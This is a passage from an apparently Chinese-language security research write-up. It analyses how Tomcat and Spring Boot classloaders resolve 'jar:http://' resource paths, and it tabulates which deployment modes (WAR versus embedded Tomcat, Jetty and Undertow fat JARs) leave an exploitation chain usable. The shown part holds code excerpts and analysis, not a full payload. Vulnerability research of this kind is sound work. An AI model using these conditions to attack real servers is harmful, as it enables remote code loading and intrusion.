style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">resources</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">.</span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">getClassLoaderResource</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">(</span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">path</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">);</span></span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span style="box-sizing: border-box;color: rgb(119, 0, 136);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">if</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;"> (</span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">resource</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">.</span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">exists</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">()) {</span></span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">url</span></span></span><span style="box-sizing: border-box;color: rgb(152, 26, 26);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">=</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">resource</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">.</span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">getURL</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">();</span></span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span leaf=""><span textstyle="" style="font-size: 16px;">}</span></span></span></pre><p cid="n332" mdtype="paragraph" style=" box-sizing: border-box;line-height: 1.6em;orphans: 4;margin: 16px 0px 0.8em;white-space: pre-wrap; color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf=""><span textstyle="" style="font-size: 16px;">WebappClassLoaderBase不会做URL解析，在查找不到会返回null</span></span></span></p><pre spellcheck="false" lang="javascript" cid="n333" mdtype="fences" style=" white-space: pre-wrap;box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;display: block;break-inside: avoid;text-align: left;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248); border: 1px solid rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 16px;width: inherit;color: rgb(51, 51, 51);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;line-height: 1.6em; " data-nest-level="2"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">TomcatEmbeddedWebappClassLoader</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">.</span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">getResourceAsStream</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">(</span></span><span style="box-sizing: border-box;color: rgb(170, 17, 17);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">&#34;jar:<a href="http://..." target="_blank">http://...</a>&#34;</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">)  </span></span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">→</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">WebappClassLoaderBase</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">.</span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">getResource</span></span></span></span></pre><p cid="n334" mdtype="paragraph" style=" box-sizing: border-box;line-height: 1.6em;orphans: 4;margin: 16px 0px 0.8em;white-space: pre-wrap; color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf=""><span textstyle="" style="font-size: 16px;">而</span></span></span><span md-inline="strong" style="box-sizing: border-box;" data-nest-level="3"><strong style="box-sizing: border-box;" data-nest-level="4"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="5"><span leaf=""><span textstyle="" style="font-size: 16px;">当WebappClassLoaderBase搜索不到的时候如果hasExternalRepositories为true会回退到父类URLClassLoader的findResource，依旧可以触发利用链路</span></span></span></strong></span></p><pre spellcheck="false" lang="javascript" cid="n335" mdtype="fences" style=" white-space: pre-wrap;box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;display: block;break-inside: avoid;text-align: left;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248); border: 1px solid rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 16px;width: inherit;color: rgb(51, 51, 51);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;line-height: 1.6em; " data-nest-level="2"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">public</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">URL</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">findResource</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">(</span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">String</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">name</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">) {</span></span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">String</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">path</span></span></span><span style="box-sizing: border-box;color: rgb(152, 26, 26);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">=</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">nameToPath</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">(</span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">name</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">);  </span></span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">WebResource</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">resource</span></span></span><span style="box-sizing: border-box;color: rgb(152, 26, 26);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">=</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">resources</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">.</span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">getClassLoaderResource</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">(</span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">path</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">);</span></span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">URL</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">url</span></span></span><span style="box-sizing: border-box;color: rgb(152, 26, 26);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">=</span></span></span><span style="box-sizing: border-box;color: rgb(34, 17, 153);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">null</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">;</span></span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span style="box-sizing: border-box;color: rgb(119, 0, 136);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">if</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;"> (</span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">resource</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">.</span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">exists</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">()) {</span></span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">url</span></span></span><span style="box-sizing: border-box;color: rgb(152, 26, 26);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">=</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">resource</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">.</span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">getURL</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">();</span></span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span leaf=""><span textstyle="" style="font-size: 16px;">    }</span></span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span style="box-sizing: border-box;color: rgb(170, 85, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">//  回退到URLClassLoader</span></span></span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span style="box-sizing: border-box;color: rgb(119, 0, 136);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">if</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;"> (</span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">url</span></span></span><span style="box-sizing: border-box;color: rgb(152, 26, 26);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">==</span></span></span><span style="box-sizing: border-box;color: rgb(34, 17, 153);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">null</span></span></span><span style="box-sizing: border-box;color: rgb(152, 26, 26);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">&amp;&amp;</span></span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">hasExternalRepositories</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">) {</span></span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">url</span></span></span><span style="box-sizing: border-box;color: rgb(152, 26, 26);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">=</span></span></span><span style="box-sizing: border-box;color: rgb(119, 0, 136);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">super</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">.</span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">findResource</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">(</span></span><span style="box-sizing: border-box;color: rgb(0, 0, 0);" data-nest-level="4"><span leaf=""><span textstyle="" style="font-size: 16px;">name</span></span></span><span leaf=""><span textstyle="" style="font-size: 16px;">);</span></span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;" data-nest-level="3"><span leaf=""><span textstyle="" style="font-size: 16px;">    }</span></span></span></pre><p cid="n336" mdtype="paragraph" style=" box-sizing: border-box;line-height: 1.6em;orphans: 4;margin: 16px 0px 0.8em;white-space: pre-wrap; color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf=""><span textstyle="" style="font-size: 16px;">而实际测试中，</span></span></span><span md-inline="strong" style="box-sizing: border-box;" data-nest-level="3"><strong style="box-sizing: border-box;" data-nest-level="4"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="5"><span leaf=""><span textstyle="" style="font-size: 16px;">通过war方式部署在tomcat上，这个属性默认为false</span></span></span></strong></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf=""><span textstyle="" style="font-size: 16px;">，所以利用链走不通。</span></span></span></p><figure cid="n337" mdtype="table" style=" box-sizing: border-box;margin: 1.2em 0px;overflow-x: auto; padding: 0px;cursor: default;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " data-nest-level="2"><table style="box-sizing: border-box;border-collapse: collapse;border-spacing: 0px;width: 964px;overflow: auto;break-inside: auto;text-align: left;cursor: text;margin: 0px;padding: 0px;word-break: initial;white-space: pre-wrap;"><thead><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;"><th style="box-sizing: border-box;padding: 6px 13px;font-weight: bold;border-width: 1px 1px 0px;border-top-style: solid;border-right-style: solid;border-left-style: solid;border-top-color: rgb(223, 226, 229);border-right-color: rgb(223, 226, 229);border-left-color: rgb(223, 226, 229);border-image: initial;border-bottom-style: initial;border-bottom-color: initial;margin: 0px;"><span cid="n339" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 166.42px;min-height: 10px;" data-nest-level="7"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="8"><span leaf=""><span textstyle="" style="font-size: 16px;">部署方式</span></span></span></span></th><th style="box-sizing: border-box;padding: 6px 13px;font-weight: bold;border-width: 1px 1px 0px;border-top-style: solid;border-right-style: solid;border-left-style: solid;border-top-color: rgb(223, 226, 229);border-right-color: rgb(223, 226, 229);border-left-color: rgb(223, 226, 229);border-image: initial;border-bottom-style: initial;border-bottom-color: initial;margin: 0px;"><span cid="n340" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 387.446px;min-height: 10px;" data-nest-level="7"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="8"><span leaf=""><span textstyle="" style="font-size: 16px;">TCCL</span></span></span></span></th><th style="box-sizing: border-box;padding: 6px 13px;font-weight: bold;border-width: 1px 1px 0px;border-top-style: solid;border-right-style: solid;border-left-style: solid;border-top-color: rgb(223, 226, 229);border-right-color: rgb(223, 226, 229);border-left-color: rgb(223, 226, 229);border-image: initial;border-bottom-style: initial;border-bottom-color: initial;margin: 0px;"><span cid="n341" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 109.518px;min-height: 10px;" data-nest-level="7"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="8"><span leaf=""><span textstyle="" style="font-size: 16px;">URLClassPath</span></span></span></span></th><th style="box-sizing: border-box;padding: 6px 13px;font-weight: bold;border-width: 1px 1px 0px;border-top-style: solid;border-right-style: solid;border-left-style: solid;border-top-color: rgb(223, 226, 229);border-right-color: rgb(223, 226, 229);border-left-color: rgb(223, 226, 229);border-image: initial;border-bottom-style: initial;border-bottom-color: initial;margin: 0px;"><span cid="n342" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 122.438px;min-height: 10px;" data-nest-level="7"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="8"><span leaf=""><span textstyle="" style="font-size: 16px;">自定义 </span></span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="8"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="9"><span leaf=""><span textstyle="" style="font-size: 16px;">jar:</span></span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="8"><span leaf=""><span textstyle="" style="font-size: 16px;"> Handler</span></span></span></span></th><th style="box-sizing: border-box;padding: 6px 13px;font-weight: bold;border-width: 1px 1px 0px;border-top-style: solid;border-right-style: solid;border-left-style: solid;border-top-color: rgb(223, 226, 229);border-right-color: rgb(223, 226, 229);border-left-color: rgb(223, 226, 229);border-image: initial;border-bottom-style: initial;border-bottom-color: initial;margin: 0px;"><span cid="n343" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 44.75px;min-height: 10px;" data-nest-level="7"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="8"><span leaf=""><span textstyle="" style="font-size: 16px;">结果</span></span></span></span></th></tr></thead><tbody><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;"><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);margin: 0px;min-width: 32px;"><span cid="n345" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 166.42px;min-height: 10px;" data-nest-level="7"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="8"><span leaf=""><span textstyle="" style="font-size: 16px;">SB Fat JAR（内嵌 Tomcat）</span></span></span></span></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);margin: 0px;min-width: 32px;"><span cid="n346" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 387.446px;min-height: 10px;" data-nest-level="7"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="8"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="9"><span leaf=""><span textstyle="" style="font-size: 16px;">TomcatEmbeddedWebappClassLoader</span></span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="8"><span leaf=""><span textstyle="" style="font-size: 16px;">（parent 有 </span></span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="8"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="9"><span leaf=""><span textstyle="" style="font-size: 16px;">jar:file:</span></span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="8"><span leaf=""><span textstyle="" style="font-size: 16px;">）</span></span></span></span></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);margin: 0px;min-width: 32px;"><span cid="n347" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 109.518px;min-height: 10px;" data-nest-level="7"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="8"><span leaf=""><span textstyle="" style="font-size: 16px;">空/</span></span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="8"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="9"><span leaf=""><span textstyle="" style="font-size: 16px;">jar:file:</span></span></code></span></span></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);margin: 0px;min-width: 32px;"><span cid="n348" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 122.438px;min-height: 10px;" data-nest-level="7"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="8"><span leaf=""><span textstyle="" style="font-size: 16px;">✅</span></span></span></span></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);margin: 0px;min-width: 32px;"><span cid="n349" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 44.75px;min-height: 10px;" data-nest-level="7"><span md-inline="strong" style="box-sizing: border-box;" data-nest-level="8"><strong style="box-sizing: border-box;" data-nest-level="9"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="10"><span leaf=""><span textstyle="" style="font-size: 16px;">可利用</span></span></span></strong></span></span></td></tr><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;background-color: rgb(248, 248, 248);"><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);margin: 0px;min-width: 32px;"><span cid="n351" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 166.42px;min-height: 10px;" data-nest-level="7"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="8"><span leaf=""><span textstyle="" style="font-size: 16px;">SB Fat JAR（内嵌 Jetty）</span></span></span></span></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);margin: 0px;min-width: 32px;"><span cid="n352" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 387.446px;min-height: 10px;" data-nest-level="7"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="8"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="9"><span leaf=""><span textstyle="" style="font-size: 16px;">LaunchedURLClassLoader</span></span></code></span></span></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);margin: 0px;min-width: 32px;"><span cid="n353" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 109.518px;min-height: 10px;" data-nest-level="7"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="8"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="9"><span leaf=""><span textstyle="" style="font-size: 16px;">jar:file:</span></span></code></span></span></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);margin: 0px;min-width: 32px;"><span cid="n354" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 122.438px;min-height: 10px;" data-nest-level="7"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="8"><span leaf=""><span textstyle="" style="font-size: 16px;">✅</span></span></span></span></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);margin: 0px;min-width: 32px;"><span cid="n355" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 44.75px;min-height: 10px;" data-nest-level="7"><span md-inline="strong" style="box-sizing: border-box;" data-nest-level="8"><strong style="box-sizing: border-box;" data-nest-level="9"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="10"><span leaf=""><span textstyle="" style="font-size: 16px;">可利用</span></span></span></strong></span></span></td></tr><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;"><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);margin: 0px;min-width: 32px;"><span cid="n357" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 166.42px;min-height: 10px;" data-nest-level="7"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="8"><span leaf=""><span textstyle="" style="font-size: 16px;">SB Fat JAR（内嵌 Undertow）</span></span></span></span></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);margin: 0px;min-width: 32px;"><span cid="n358" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 387.446px;min-height: 10px;" data-nest-level="7"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="8"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="9"><span leaf=""><span textstyle="" style="font-size: 16px;">LaunchedURLClassLoader</span></span></code></span></span></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);margin: 0px;min-width: 32px;"><span cid="n359" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 109.518px;min-height: 10px;" data-nest-level="7"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="8"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="9"><span leaf=""><span textstyle="" style="font-size: 16px;">jar:file:</span></span></code></span></span></td><td style="box-sizing: border-box;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);margin: 0px;min-width: 32px;"><span cid="n360" mdtype="table_cell" style="box-sizing: border-box;display: inline-block;min-width: 1ch;width: 122.438px;min-height: 10px;" data-nest-level="7"><span md-inline="plain" style="box-sizing: border-box;" 